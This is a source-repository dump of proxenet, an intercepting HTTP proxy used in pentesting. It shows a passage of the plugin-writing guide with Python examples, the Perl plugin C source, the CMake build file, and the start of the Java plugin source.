the 29 | command line option `-x`. 30 | . 31 | 32 | You can then load the plugin via the client. 33 | ```bash 34 | >>> plugin load 1MyNewPlugin.rb 35 | Plugin '1MyNewPlugin.rb' successfully added! 36 | ``` 37 | 38 | 39 | 40 | ## Step-by-Step : A basic plugin example 41 | 42 | For the sake of simplicity, here's a very simple example of a proxenet plugin 43 | written in Python. Note that the exact same methodology applies for plugins 44 | written in Ruby, Lua, etc. 45 | 46 | The demo plugin is purposely dumb. It's simply to make you familiar with the way 47 | `proxenet` proceeds with plugins. It will append an HTTP header in every request 48 | and response. 49 | 50 | 51 | ### Pre-requisite 52 | 53 | Let's assume that an instance is already up and running. 54 | 55 | A very basic Python template for creating plugins would be like this: 56 | ```python 57 | def proxenet_request_hook(request_id, request, uri): 58 | return request 59 | 60 | def proxenet_response_hook(response_id, response, uri): 61 | return response 62 | 63 | if __name__ == "__main__": 64 | pass 65 | ``` 66 | 67 | 68 | ### The "hard" work 69 | 70 | Create a new Python script in the plugins directory, and copy/paste this 71 | template. 72 | 73 | Appending an HTTP header simply means that we want to substitute the double 74 | [CRLF](https://en.wikipedia.org/wiki/CRLF) - marking the end of the HTTP headers 75 | blob, with our header, followed by this double CRLF. 76 | 77 | The implementation comes then right out of the box: 78 | ```python 79 | def proxenet_request_hook(request_id, request, uri): 80 | crlf = "\r\n" 81 | hdr = "X-Proxenet-Rules: Python-Style" 82 | return request.replace(crlf * 2, crlf + hdr + crlf * 2) 83 | 84 | def proxenet_response_hook(response_id, response, uri): 85 | return response 86 | 87 | if __name__ == "__main__": 88 | pass 89 | ``` 90 | 91 | 92 | ### Plug it in 93 | 94 | Once the plugin is ready, simply use the client to load it. Valid loaded scripts 95 | will immediately become active, and can also be disabled through the client. 96 | 97 | ```bash 98 | >>> plugin load 1AddHeader.py 99 | Plugin '1AddHeader.py' successfully added! 100 | ``` 101 | 102 | Now use any site and check the headers sent. Yup, it was **that** simple. 103 | 104 | Too easy for you ? Want a more real-life use of `proxenet`. No worries, just 105 | keep reading 106 | 107 | 108 | ## A more advanced plugin example 109 | 110 | Now let's do some useful stuff. 111 | 112 | The following plugin will log every HTTP request/response in a 113 | [SQLite](https://sqlite.org/) database, given us the possibility to 114 | (transparently) save the whole HTTP sessions during a pentest. For the record, 115 | this 'feature' is not available in the free version of BurpSuite. So by hooking 116 | `proxenet` behind your free Burp and using this plugin, you will never lose any 117 | session. 118 | 119 | 120 | ### Re-use working stuff 121 | 122 | We will use the exact same template from the previous example, along with 2 Python 123 | modules `sqlite3` and `time`. Both of which are built-in. 124 | 125 | 126 | ### The "hard" work 127 | 128 | We want our plugin to have a low priority, meaning that other plugins (which 129 | potentially modify requests/responses) will be executed first. 130 | Create a file in the plugins directory, for example `9LogReqRes.py`, and 131 | copy/paste the template example provided above. 132 | 133 | Unfortunately, SQLite (not unlike **many** tools and libraries) does not support 134 | multi-threading. Luckily, `proxenet` was designed to multi-thread only the 135 | hooking functions __and nothing else__. 136 | 137 | Subsequently, we only need to define the SQLite database object as a Python 138 | `global` in the main thread. Like this: 139 | 140 | ```python 141 | import time, sqlite3 142 | 143 | class SqliteDb: 144 | def __init__(self, dbname="/tmp/proxenet.db"): 145 | self.data_file = dbname 146 | self.execute("CREATE TABLE requests (id INTEGER, request BLOB, uri TEXT, timestamp INTEGER)") 147 | self.execute("CREATE TABLE responses (id INTEGER, response BLOB, uri TEXT, timestamp INTEGER)") 148 | return 149 | 150 | def connect(self): 151 | self.conn = sqlite3.connect(self.data_file) 152 | self.conn.text_factory = str 153 | return self.conn.cursor() 154 | 155 | def disconnect(self): 156 | self.conn.close() 157 | return 158 | 159 | def execute(self, query, values=None): 160 | cursor = self.connect() 161 | cursor.execute(query, values) 162 | self.conn.commit() 163 | return cursor 164 | 165 | db = SqliteDb() 166 | ``` 167 | 168 | By defining our database globally, the Python main thread acquires the lock for 169 | it, *but* it is still reachable by other threads. 170 | 171 | Now we simply have to fill the functions: 172 | ```python 173 | def proxenet_request_hook(request_id, request, uri): 174 | global db 175 | db.execute("INSERT INTO requests VALUES (?, ?, ?, ?)", (request_id, request, uri, int( time.time() ))) 176 | return request 177 | 178 | 179 | def proxenet_response_hook(response_id, response, uri): 180 | global db 181 | db.execute("INSERT INTO responses VALUES (?, ?, ?, ?)", (response_id, response, uri, int( time.time() ))) 182 | return response 183 | ``` 184 | 185 | That's it! Now simply load it in `proxenet` and never lose any request/response 186 | again! The full version of this plugin is available 187 | [here](https://github.com/hugsy/proxenet-plugins/blob/master/9LogReqRes.py). 188 | 189 | 190 | ## Want to add your 50c ? 191 | 192 | The GitHub repository 193 | [proxenet-plugins](https://github.com/hugsy/proxenet-plugins) contains a few 194 | plugins already (more will come). But if you want to share your cool plugin, feel 195 | free to send a "Pull Request". 196 | 197 | Thanks for using `proxenet`. 198 | -------------------------------------------------------------------------------- /plugin-perl.c: -------------------------------------------------------------------------------- 1 | #ifdef HAVE_CONFIG_H 2 | #include "config.h" 3 | #endif 4 | 5 | #ifdef _PERL_PLUGIN 6 | 7 | /******************************************************************************* 8 | * 9 | * Perl plugin 10 | * 11 | */ 12 | 13 | 14 | #include 15 | #include 16 | #include 17 | #include 18 | 19 | #ifdef __LINUX__ 20 | #include 21 | #endif 22 | 23 | #include "core.h" 24 | #include "plugin.h" 25 | #include "plugin-perl.h" 26 | #include "utils.h" 27 | #include "main.h" 28 | 29 | #define xlog_perl(t, ...) xlog(t, "["_PERL_VERSION_"] " __VA_ARGS__) 30 | 31 | 32 | static PerlInterpreter *my_perl; 33 | 34 | 35 | /** 36 | * Allocates a buffer with the full function path in the path. 37 | * The buffer *must* be free-ed by the caller. 38 | */ 39 | static char* proxenet_perl_get_function_path(char *funcname) 40 | { 41 | char *path; 42 | char *required = NULL; 43 | char *package_name = NULL; 44 | size_t package_len, len = 0; 45 | SV* package_sv = NULL; 46 | 47 | /* Get the package name from the package (which should follow the convention...) */ 48 | package_sv = get_sv("package", 0); 49 | if (!SvPOK(package_sv)) { 50 | xlog_perl(LOG_ERROR, "Invalid convention for '%s': the package should return a string\n", funcname); 51 | return NULL; 52 | } 53 | 54 | required = (char*) SvPV_nolen(package_sv); 55 | package_len = strlen(required); 56 | package_name = (char*) alloca(package_len+1); 57 | proxenet_xzero(package_name, package_len+1); 58 | memcpy(package_name, required, package_len); 59 | 60 | len = package_len + 2 + strlen(funcname) + 1; 61 | path = proxenet_xmalloc(len); 62 | proxenet_xsnprintf(path, len, "%s::%s", package_name, funcname); 63 | 64 | #ifdef DEBUG 65 | xlog_perl(LOG_DEBUG, "Loaded '%s'\n", path); 66 | #endif 67 | 68 | return path; 69 | } 70 | 71 | 72 | /** 73 | * 74 | */ 75 | int proxenet_perl_load_file(plugin_t* plugin) 76 | { 77 | SV* sv = NULL; 78 | int nb_res = -1; 79 | int ret = 0; 80 | char *pathname; 81 | 82 | if(plugin->state != INACTIVE){ 83 | #ifdef DEBUG 84 | if(cfg->verbose > 2) 85 | xlog_perl(LOG_DEBUG, "Plugin '%s' is already loaded. Skipping...\n", plugin->name); 86 | #endif 87 | return 0; 88 | } 89 | 90 | pathname = plugin->fullpath; 91 | 92 | #ifdef DEBUG 93 | xlog_perl(LOG_DEBUG, "Loading '%s'\n", pathname); 94 | #endif 95 | 96 | /* Load the file through perl's require mechanism */ 97 | dSP; 98 | ENTER; 99 | SAVETMPS; 100 | 101 | PUSHMARK(SP); 102 | PUTBACK; 103 | 104 | sv = newSVpvf("$package = require q%c%s%c", 0, pathname, 0); 105 | nb_res = eval_sv(sv_2mortal(sv), G_EVAL); 106 | 107 | if (nb_res != 1) { 108 | xlog_perl(LOG_ERROR, 109 | "Invalid number of response returned while loading '%s' (got %d, expected 1)\n", 110 | pathname, 111 | nb_res); 112 | 113 | } else if (SvTRUE(ERRSV)) { 114 | xlog_perl(LOG_ERROR, "Eval error for '%s': %s\n", pathname, SvPV_nolen(ERRSV)); 115 | 116 | } else { 117 | plugin->pre_function = proxenet_perl_get_function_path(CFG_REQUEST_PLUGIN_FUNCTION); 118 | if(!plugin->pre_function){ 119 | ret = -1; 120 | goto perl_epilog; 121 | } 122 | 123 | plugin->post_function = proxenet_perl_get_function_path(CFG_RESPONSE_PLUGIN_FUNCTION); 124 | if(!plugin->post_function){ 125 | ret = -1; 126 | goto perl_epilog; 127 | } 128 | 129 | plugin->onload_function = proxenet_perl_get_function_path(CFG_ONLOAD_PLUGIN_FUNCTION); 130 | plugin->onleave_function = proxenet_perl_get_function_path(CFG_ONLEAVE_PLUGIN_FUNCTION); 131 | 132 | if (cfg->verbose > 2) 133 | xlog_perl(LOG_INFO, "Package '%s' loaded\n", plugin->name); 134 | 135 | if (plugin->onload_function){ 136 | call_pv(plugin->onload_function, G_EVAL); 137 | } 138 | 139 | } 140 | 141 | perl_epilog: 142 | 143 | SPAGAIN; 144 | PUTBACK; 145 | FREETMPS; 146 | LEAVE; 147 | 148 | return ret; 149 | } 150 | 151 | 152 | 153 | 154 | /** 155 | * 156 | */ 157 | int proxenet_perl_initialize_vm(plugin_t* plugin) 158 | { 159 | interpreter_t *interpreter; 160 | char *perl_args[] = { "", "/dev/null", NULL }; 161 | int perl_args_count = 2; 162 | 163 | #ifdef PERL_SYS_INIT3 164 | int a; 165 | char **perl_args_local; 166 | char *perl_env[] = {}; 167 | a = perl_args_count; 168 | perl_args_local = perl_args; 169 | (void) perl_env; 170 | PERL_SYS_INIT3 (&a, (char ***)&perl_args_local, (char ***)&perl_env); 171 | #endif 172 | 173 | interpreter = plugin->interpreter; 174 | 175 | /* checks */ 176 | if (interpreter->ready) 177 | return 0; 178 | 179 | #ifdef DEBUG 180 | xlog_perl(LOG_DEBUG, "%s\n", "Initializing VM"); 181 | #endif 182 | 183 | /* vm init */ 184 | my_perl = perl_alloc(); 185 | perl_construct(my_perl); 186 | PL_exit_flags |= PERL_EXIT_DESTRUCT_END; 187 | 188 | if (!my_perl) { 189 | xlog_perl(LOG_ERROR, "%s\n", "failed init-ing vm"); 190 | return -1; 191 | } 192 | 193 | perl_parse(my_perl, NULL, perl_args_count, perl_args, (char **)NULL); 194 | 195 | interpreter->vm = (void*) my_perl; 196 | interpreter->ready = true; 197 | 198 | return 0; 199 | } 200 | 201 | 202 | /** 203 | * 204 | */ 205 | int proxenet_perl_destroy_plugin(plugin_t* plugin) 206 | { 207 | proxenet_plugin_set_state(plugin, INACTIVE); 208 | 209 | if (plugin->onleave_function){ 210 | dSP; 211 | ENTER; 212 | SAVETMPS; 213 | PUSHMARK(SP); 214 | PUTBACK; 215 | 216 | call_pv(plugin->onleave_function, G_EVAL); 217 | 218 | SPAGAIN; 219 | PUTBACK; 220 | FREETMPS; 221 | LEAVE; 222 | } 223 | 224 | proxenet_xfree(plugin->pre_function); 225 | proxenet_xfree(plugin->post_function); 226 | if (plugin->onload_function) 227 | proxenet_xfree(plugin->onload_function); 228 | if (plugin->onleave_function) 229 | proxenet_xfree(plugin->onleave_function); 230 | return 0; 231 | } 232 | 233 | 234 | /** 235 | * 236 | */ 237 | int proxenet_perl_destroy_vm(interpreter_t* interpreter) 238 | { 239 | perl_destruct(my_perl); 240 | perl_free(my_perl); 241 | my_perl = NULL; 242 | 243 | /* Looks like this macro segfaults on FreeBSD and OSX.... */ 244 | #if defined(PERL_SYS_TERM) && !defined(__FreeBSD__) && !defined(__DARWIN__) 245 | PERL_SYS_TERM (); 246 | #endif 247 | 248 | interpreter->vm = NULL; 249 | interpreter->ready = false; 250 | return 0; 251 | } 252 | 253 | 254 | /** 255 | * 256 | */ 257 | static char* proxenet_perl_execute_function(char* fname, long rid, char* request_str, size_t* request_size, char* uri) 258 | { 259 | char *res, *data; 260 | int nb_res; 261 | size_t len; 262 | SV* sv = NULL; 263 | 264 | data = NULL; 265 | 266 | dSP; 267 | ENTER; 268 | SAVETMPS; 269 | 270 | PUSHMARK(SP); 271 | XPUSHs(sv_2mortal(newSVuv(rid))); 272 | XPUSHs(sv_2mortal(newSVpvn(request_str, *request_size))); 273 | XPUSHs(sv_2mortal(newSVpvn(uri, strlen(uri)))); 274 | PUTBACK; 275 | 276 | nb_res = call_pv(fname, G_EVAL | G_SCALAR); 277 | 278 | SPAGAIN; 279 | 280 | if (nb_res != 1) { 281 | xlog_perl(LOG_ERROR, "Unexpected number of response (got %d, expected 1)\n", nb_res); 282 | } else if (SvTRUE(ERRSV)) { 283 | xlog_perl(LOG_ERROR, "call_pv() error for '%s': %s\n", fname, SvPV_nolen(ERRSV)); 284 | } else { 285 | sv = POPs; 286 | res = SvPV(sv, len); 287 | data = (char*) proxenet_xmalloc(len+1); 288 | memcpy(data, res, len); 289 | *request_size = len; 290 | } 291 | 292 | PUTBACK; 293 | FREETMPS; 294 | LEAVE; 295 | 296 | return data; 297 | } 298 | 299 | 300 | /** 301 | * 302 | */ 303 | static void proxenet_perl_lock_vm(interpreter_t *interpreter) 304 | { 305 | pthread_mutex_lock(&interpreter->mutex); 306 | } 307 | 308 | 309 | /** 310 | * 311 | */ 312 | static void proxenet_perl_unlock_vm(interpreter_t *interpreter) 313 | { 314 | pthread_mutex_unlock(&interpreter->mutex); 315 | } 316 | 317 | 318 | /** 319 | * 320 | */ 321 | char* proxenet_perl_plugin(plugin_t* plugin, request_t* request) 322 | { 323 | interpreter_t *interpreter; 324 | char *function_name; 325 | char *buf, *uri; 326 | 327 | interpreter = plugin->interpreter; 328 | if (!interpreter->ready) 329 | return NULL; 330 | 331 | uri = request->http_infos.uri; 332 | 333 | if (request->type == REQUEST) 334 | function_name = plugin->pre_function; 335 | else 336 | function_name = plugin->post_function; 337 | 338 | proxenet_perl_lock_vm(interpreter); 339 | buf = proxenet_perl_execute_function(function_name, 340 | request->id, 341 | request->data, 342 | &request->size, 343 | uri); 344 | proxenet_perl_unlock_vm(interpreter); 345 | 346 | return buf; 347 | } 348 | 349 | 350 | 351 | #endif /* _PERL_PLUGIN */ 352 | -------------------------------------------------------------------------------- /CMakeLists.txt: -------------------------------------------------------------------------------- 1 | ################################################################################ 2 | # 3 | # proxenet build options for cmake 4 | # 5 | # 6 | 7 | cmake_minimum_required(VERSION 2.6) 8 | project(proxenet C) 9 | 10 | # extra variables 11 | set (PROGNAME proxenet) 12 | set (AUTHOR hugsy) 13 | set (LICENSE GPLv2) 14 | 15 | find_program(GIT_EXECUTABLE 16 | NAMES git 17 | PATHS /usr/bin /usr/local/bin) 18 | 19 | if(GIT_EXECUTABLE) 20 | execute_process( COMMAND ${GIT_EXECUTABLE} rev-parse --abbrev-ref HEAD 21 | OUTPUT_VARIABLE GIT_RELEASE_BRANCH) 22 | execute_process( COMMAND ${GIT_EXECUTABLE} log -n 1 --pretty=format:%t 23 | OUTPUT_VARIABLE GIT_RELEASE_COMMIT) 24 | STRING(STRIP "${GIT_RELEASE_BRANCH}" GIT_RELEASE_BRANCH) 25 | STRING(STRIP "${GIT_RELEASE_COMMIT}" GIT_RELEASE_COMMIT) 26 | set (VERSION_REL "${GIT_RELEASE_BRANCH}:${GIT_RELEASE_COMMIT}") 27 | else() 28 | set (VERSION_REL "stable") 29 | endif() 30 | 31 | set (VERSION_MAJOR 0) 32 | set (VERSION_MINOR 4) 33 | 34 | set (CODENAME "Tartiflette - 2nd fournée") 35 | set (VERSION "${VERSION_MAJOR}.${VERSION_MINOR}-${VERSION_REL}") 36 | 37 | set (CMAKE_INSTALL_PREFIX "/opt/${PROGNAME}") 38 | 39 | # plugin cmake build path 40 | set(CMAKE_MODULE_PATH ${CMAKE_SOURCE_DIR}/ ${CMAKE_MODULE_PATH}) 41 | set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} -Wall -Wextra -Werror-implicit-function-declaration") 42 | if(PREFIX) 43 | set(CMAKE_INSTALL_PREFIX ${PREFIX} CACHE PATH "Install path prefix" FORCE) 44 | endif(PREFIX) 45 | 46 | 47 | # scripts supports (if libraries can be found) 48 | option(USE_C_PLUGIN "Add C script support" ON) 49 | option(USE_PYTHON_PLUGIN "Add Python 2.x script support" ON) 50 | option(USE_PYTHON3_PLUGIN "Use Python 3.x script support" OFF) 51 | option(USE_LUA_PLUGIN "Add Lua script support" ON) 52 | option(USE_RUBY_PLUGIN "Add Ruby2 script support" ON) 53 | option(USE_PERL_PLUGIN "Add Perl script support" ON) 54 | option(USE_TCL_PLUGIN "Add Tcl script support" ON) 55 | option(USE_JAVA_PLUGIN "Add Java script support" ON) 56 | 57 | # enforcing debug compil when in branch dev 58 | if(GIT_RELEASE_BRANCH STREQUAL "dev") 59 | option(DEBUG "Enable Debug" ON) 60 | else() 61 | option(DEBUG "Enable Debug" OFF) 62 | endif() 63 | 64 | option(DEBUG_SSL "Enable SSL debug" OFF) 65 | option(DEBUG_LEAK "Enable memleak checks" OFF) 66 | 67 | if (DEBUG) 68 | message("-- Compiling as debug mode") 69 | set(CMAKE_BUILD_TYPE Debug) 70 | set(CMAKE_C_FLAGS_DEBUG "-ggdb -DDEBUG -O0") 71 | set(CMAKE_VERBOSE_MAKEFILE ON) 72 | 73 | if(DEBUG_LEAK) 74 | message("-- Compiling with sanitizers") 75 | set(CMAKE_C_FLAGS_DEBUG "${CMAKE_C_FLAGS_DEBUG} -fsanitize=address") 76 | endif(DEBUG_LEAK) 77 | 78 | if (DEBUG_SSL) 79 | message("-- Compiling with SSL debug informations") 80 | set(CMAKE_C_FLAGS_DEBUG "${CMAKE_C_FLAGS_DEBUG} -DDEBUG_SSL") 81 | endif(DEBUG_SSL) 82 | 83 | else() 84 | set(CMAKE_BUILD_TYPE None) 85 | set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} -O3 -fstack-protector-all -fPIE -fPIC -D_FORTIFY_SOURCE") 86 | set(CMAKE_VERBOSE_MAKEFILE OFF) 87 | 88 | if( ${CMAKE_SYSTEM_NAME} MATCHES "Linux" ) 89 | set(CMAKE_LINK_HARDEN "-Wl,-z,relro,-z,now") # Full RelRO 90 | set(CMAKE_LINK_HARDEN ${CMAKE_LINK_HARDEN} -pie) # PIE 91 | endif() 92 | 93 | endif(DEBUG) 94 | 95 | 96 | # main files to compile 97 | set(CORE_FILES 98 | control-server.c control-server.h 99 | core.c core.h 100 | http.c http.h 101 | main.c main.h 102 | socket.c socket.h 103 | ssl.c ssl.h 104 | socks.c socks.h 105 | minica.c minica.h 106 | utils.c utils.h 107 | plugin.c plugin.h 108 | ) 109 | 110 | set(EXTRA_LIBS "") 111 | 112 | # adding OS specific info 113 | if( ${CMAKE_SYSTEM_NAME} MATCHES "Linux" ) 114 | add_definitions(-D__LINUX__) 115 | elseif( ${CMAKE_SYSTEM_NAME} MATCHES "Darwin" ) 116 | add_definitions(-D__DARWIN__) 117 | elseif( ${CMAKE_SYSTEM_NAME} MATCHES "FreeBSD" ) 118 | add_definitions(-D__FREESBD__) 119 | set(EXTRA_LIBS ${EXTRA_LIBS} "-lthr -lm -lutil") 120 | endif() 121 | 122 | # adding cmake directory 123 | set(CMAKE_MODULE_PATH ${PROJECT_SOURCE_DIR}/cmake) 124 | 125 | # additional link libs 126 | set(EXTRA_LIBS ${EXTRA_LIBS} "-lpthread") 127 | 128 | 129 | # check for mbedtls (*REQUIRED*) 130 | find_package(MbedTLS REQUIRED) 131 | if(MBEDTLS_FOUND AND MBEDTLS_INCLUDE_DIR AND MBEDTLS_LIBRARIES) 132 | add_definitions(-DHAVE_MBEDTLS) 133 | include_directories(${MBEDTLS_INCLUDE_DIR}) 134 | set(EXTRA_LIBS ${EXTRA_LIBS} ${MBEDTLS_LIBRARIES}) 135 | set(_MBEDTLS_VERSION_ ${MBEDTLS_VERSION}) 136 | message("-- mbedTLS ${MBEDTLS_VERSION} found!") 137 | else() 138 | return() 139 | endif() 140 | 141 | 142 | # prepare compilation 143 | set(ALL_FILES ${CORE_FILES}) 144 | 145 | 146 | ## Setup plugin integration 147 | 148 | # C 149 | if (USE_C_PLUGIN) 150 | find_library(DL_FOUND 151 | NAMES dl 152 | PATHS /lib /usr/lib /usr/libexec /usr/local/lib /usr/local/libexec) 153 | if(DL_FOUND) 154 | add_definitions(-DHAVE_DL) 155 | set(EXTRA_LIBS ${EXTRA_LIBS} dl) 156 | set(ALL_FILES ${ALL_FILES} plugin-c.c plugin-c.h) 157 | set(_C_VERSION_ "C") 158 | set(_C_PLUGIN 1) 159 | endif() 160 | endif(USE_C_PLUGIN) 161 | 162 | 163 | # python2 164 | if (USE_PYTHON_PLUGIN) 165 | find_package(Python) 166 | if(PYTHON_FOUND) 167 | include_directories(${PYTHON_INCLUDE_PATH}) 168 | set(EXTRA_LIBS ${EXTRA_LIBS} ${PYTHON_LIBRARY}) 169 | set(ALL_FILES ${ALL_FILES} plugin-python.c plugin-python.h) 170 | set(_PYTHON_MAJOR_ ${PYTHON_VERSION_MAJOR}) 171 | set(_PYTHON_MINOR_ ${PYTHON_VERSION_MINOR}) 172 | set(_PYTHON_VERSION_ ${PYTHON_VERSION}) 173 | set(_PYTHON_PLUGIN 1) 174 | endif(PYTHON_FOUND) 175 | endif(USE_PYTHON_PLUGIN) 176 | 177 | 178 | # lua 179 | if (USE_LUA_PLUGIN) 180 | find_package(Lua) 181 | if(LUA_FOUND) 182 | include_directories(${LUA_INCLUDE_DIRS}) 183 | set(EXTRA_LIBS ${EXTRA_LIBS} ${LUA_LIBRARY}) 184 | set(ALL_FILES ${ALL_FILES} plugin-lua.c plugin-lua.h) 185 | set(_LUA_VERSION_ ${LUA_VERSION}) 186 | set(_LUA_PLUGIN 1) 187 | endif(LUA_FOUND) 188 | endif(USE_LUA_PLUGIN) 189 | 190 | 191 | # ruby 192 | if (USE_RUBY_PLUGIN) 193 | find_package(Ruby) 194 | if(RUBY_FOUND) 195 | include_directories(${RUBY_INCLUDE_DIRS}) 196 | set(EXTRA_LIBS ${EXTRA_LIBS} ${RUBY_LIBRARIES}) 197 | set(ALL_FILES ${ALL_FILES} plugin-ruby.c plugin-ruby.h) 198 | set(_RUBY_MAJOR_ ${RUBY_VERSION_MAJOR}) 199 | set(_RUBY_MINOR_ ${RUBY_VERSION_MINOR}) 200 | set(_RUBY_VERSION_ ${RUBY_VERSION}) 201 | set(_RUBY_PLUGIN 1) 202 | endif(RUBY_FOUND) 203 | endif(USE_RUBY_PLUGIN) 204 | 205 | 206 | # perl 207 | if (USE_PERL_PLUGIN) 208 | find_package(Perl) 209 | if(PERL_FOUND) 210 | include_directories(${PERL_INCLUDE_PATH}) 211 | set(EXTRA_LIBS ${EXTRA_LIBS} ${PERL_LIBRARY}) 212 | set(ALL_FILES ${ALL_FILES} plugin-perl.c plugin-perl.h) 213 | set(_PERL_VERSION_ ${PERL_VERSION}) 214 | set(_PERL_PLUGIN 1) 215 | endif(PERL_FOUND) 216 | endif(USE_PERL_PLUGIN) 217 | 218 | 219 | # tcl 220 | if (USE_TCL_PLUGIN) 221 | find_package(Tcl) 222 | if(TCL_FOUND) 223 | include_directories(${TCL_INCLUDE_PATH}) 224 | set(EXTRA_LIBS ${EXTRA_LIBS} ${TCL_LIBRARY}) 225 | set(ALL_FILES ${ALL_FILES} plugin-tcl.c plugin-tcl.h) 226 | set(_TCL_VERSION_ ${TCL_VERSION}) 227 | set(_TCL_PLUGIN 1) 228 | endif(TCL_FOUND) 229 | endif(USE_TCL_PLUGIN) 230 | 231 | # java 232 | if (USE_JAVA_PLUGIN) 233 | find_package(Java) 234 | if(Java_FOUND) 235 | include_directories(${Java_INCLUDE_DIRS}) 236 | set(EXTRA_LIBS ${EXTRA_LIBS} ${Java_LIBRARIES}) 237 | set(ALL_FILES ${ALL_FILES} plugin-java.c plugin-java.h) 238 | set(_JAVA_VERSION_ ${Java_VERSION_STRING}) 239 | set(_JAVA_MAJOR_ ${Java_VERSION_MAJOR}) 240 | set(_JAVA_MINOR_ ${Java_VERSION_MINOR}) 241 | set(_JAVA_PLUGIN 1) 242 | endif(Java_FOUND) 243 | endif(USE_JAVA_PLUGIN) 244 | 245 | 246 | # generate config file 247 | add_definitions(-DHAVE_CONFIG_H) 248 | configure_file ("config.h.in" "config.h") 249 | include_directories("." "..") 250 | 251 | 252 | # wrap-up message 253 | message("--------------------------------------------------------------------------") 254 | message("${PROGNAME} will be compiled with support for:") 255 | if(DL_FOUND) 256 | message("- C plugin") 257 | endif() 258 | if(PYTHON_FOUND) 259 | message("- Python plugin: ${_PYTHON_VERSION_}") 260 | endif() 261 | if(RUBY_FOUND) 262 | message("- Ruby plugin: ${_RUBY_VERSION_}") 263 | endif() 264 | if(PERL_FOUND) 265 | message("- Perl plugin: ${_PERL_VERSION_}") 266 | endif() 267 | if(LUA_FOUND) 268 | message("- Lua plugin: ${_LUA_VERSION_}") 269 | endif() 270 | if(TCL_FOUND) 271 | message("- Tcl plugin: ${_TCL_VERSION_}") 272 | endif() 273 | if(Java_FOUND) 274 | message("- Java plugin: ${_JAVA_VERSION_}") 275 | endif() 276 | message("--------------------------------------------------------------------------") 277 | 278 | 279 | # compile and link 280 | add_executable(proxenet ${ALL_FILES}) 281 | target_link_libraries(proxenet ${EXTRA_LIBS} ${CMAKE_LINK_HARDEN}) 282 | 283 | 284 | # install 285 | set (MANDIR /usr/share/man/man1) 286 | 287 | install (TARGETS proxenet DESTINATION bin) 288 | install (DIRECTORY docs 289 | DESTINATION misc 290 | PATTERN "*.md" EXCLUDE 291 | ) 292 | install (FILES proxenet-control-cli.py proxenet-control-web.py keys/proxenet-setup-ca.sh 293 | PERMISSIONS OWNER_READ OWNER_WRITE OWNER_EXECUTE GROUP_READ GROUP_EXECUTE WORLD_READ WORLD_EXECUTE 294 | DESTINATION misc 295 | ) 296 | install (FILES keys/openssl.cnf 297 | PERMISSIONS OWNER_READ OWNER_WRITE OWNER_EXECUTE GROUP_READ GROUP_EXECUTE WORLD_READ WORLD_EXECUTE 298 | DESTINATION misc 299 | ) 300 | install (FILES proxenet.1 301 | DESTINATION ${MANDIR}) 302 | 303 | add_custom_target( uninstall ) 304 | add_custom_command (TARGET uninstall 305 | POST_BUILD 306 | COMMAND @echo "* Deleting ${PROGNAME} tree" 307 | COMMAND @rm -fr "${CMAKE_INSTALL_PREFIX}" "${MANDIR}/${PROGNAME}.1.gz" 308 | ) 309 | -------------------------------------------------------------------------------- /plugin-java.c: -------------------------------------------------------------------------------- 1 | #ifdef HAVE_CONFIG_H 2 | #include "config.h" 3 | #endif 4 | 5 | #ifdef _JAVA_PLUGIN 6 | 7 | /******************************************************************************* 8 | * 9 | * Java plugin 10 | * 11 | */ 12 | 13 | #include 14 | #include 15 | #include 16 | 17 | #include "core.h" 18 | #include "utils.h" 19 | #include "main.h" 20 | #include "plugin.h" 21 | #include "plugin-java.h" 22 | 23 | #define xlog_java(t, ...) xlog(t, "["_JAVA_VERSION_"] " __VA_ARGS__) 24 | 25 | 26 | /** 27 | * 28 | */ 29 | static int proxenet_java_get_class(JNIEnv *env, char *name, void **res) 30 | { 31 | jclass jcls; 32 | 33 | jcls = (*env)->FindClass(env, name); 34 | if(!jcls){ 35 | xlog_java(LOG_ERROR, "Java class '%s' not found\n", name); 36 | return -1; 37 | } 38 | 39 | *res = (void*)jcls; 40 | 41 | #ifdef DEBUG 42 | xlog_java(LOG_DEBUG, "Class '%s' jcls=%#lx\n", name, jcls); 43 | #endif 44 | 45 | return 0; 46 | } 47 | 48 | 49 | /** 50 | * 51 | */ 52 | static int proxenet_java_get_method(JNIEnv *env, jclass jcls, char* name, char *proto, void **res) 53 | { 54 | jmethodID jmid; 55 | 56 | jmid = (*env)->GetStaticMethodID(env, jcls, name, proto); 57 | if(!jmid){ 58 | xlog_java(LOG_ERROR, "Method '%s()' not found\n", name); 59 | return -1; 60 | } 61 | 62 | #ifdef DEBUG 63 | xlog_java(LOG_DEBUG, "'%s()' jmid=%#lx\n", name, jmid); 64 | #endif 65 | 66 | *res = (void*)jmid; 67 | 68 | return 0; 69 | } 70 | 71 | 72 | /** 73 | * 74 | */ 75 | static inline int proxenet_execute_plugin_method(plugin_t* plugin, jmethodID jmid) 76 | { 77 | JavaVM* jvm; 78 | JNIEnv *env; 79 | jclass jcls; 80 | 81 | jvm = ((proxenet_jvm_t*)plugin->interpreter->vm)->jvm; 82 | jcls = (jclass)plugin->internal; 83 | 84 | if (!jcls || !jmid) 85 | return -1; 86 | 87 | (*jvm)->AttachCurrentThread(jvm, (void**)&env, NULL); 88 | (*env)->CallStaticObjectMethod(env, jcls, jmid); 89 | (*jvm)->DetachCurrentThread(jvm); 90 | return 0; 91 | 92 | } 93 | 94 | 95 | /** 96 | * 97 | */ 98 | static int proxenet_execute_onload_method(plugin_t* plugin) 99 | { 100 | return proxenet_execute_plugin_method(plugin, plugin->onload_function); 101 | } 102 | 103 | 104 | /** 105 | * 106 | */ 107 | static int proxenet_execute_onleave_method(plugin_t* plugin) 108 | { 109 | return proxenet_execute_plugin_method(plugin, plugin->onleave_function); 110 | } 111 | 112 | 113 | /** 114 | * Loads a compiled Java file (.class), allocates the structure, and execute the onload() 115 | * function. 116 | */ 117 | int proxenet_java_load_file(plugin_t* plugin) 118 | { 119 | proxenet_jvm_t* pxnt_jvm; 120 | JavaVM *jvm; 121 | JNIEnv *env; 122 | 123 | if(plugin->state != INACTIVE){ 124 | #ifdef DEBUG 125 | if(cfg->verbose > 2) 126 | xlog_java(LOG_DEBUG, "Plugin '%s' is already loaded. Skipping...\n", plugin->name); 127 | #endif 128 | return 0; 129 | } 130 | 131 | pxnt_jvm = (proxenet_jvm_t*) plugin->interpreter->vm; 132 | jvm = (JavaVM*) pxnt_jvm->jvm; 133 | env = (JNIEnv*) pxnt_jvm->env; 134 | 135 | #ifdef DEBUG 136 | xlog_java(LOG_DEBUG, "Trying to load Java class '%s'\n", plugin->name); 137 | #endif 138 | 139 | /* check that Class can be found */ 140 | if(proxenet_java_get_class(env, plugin->name, 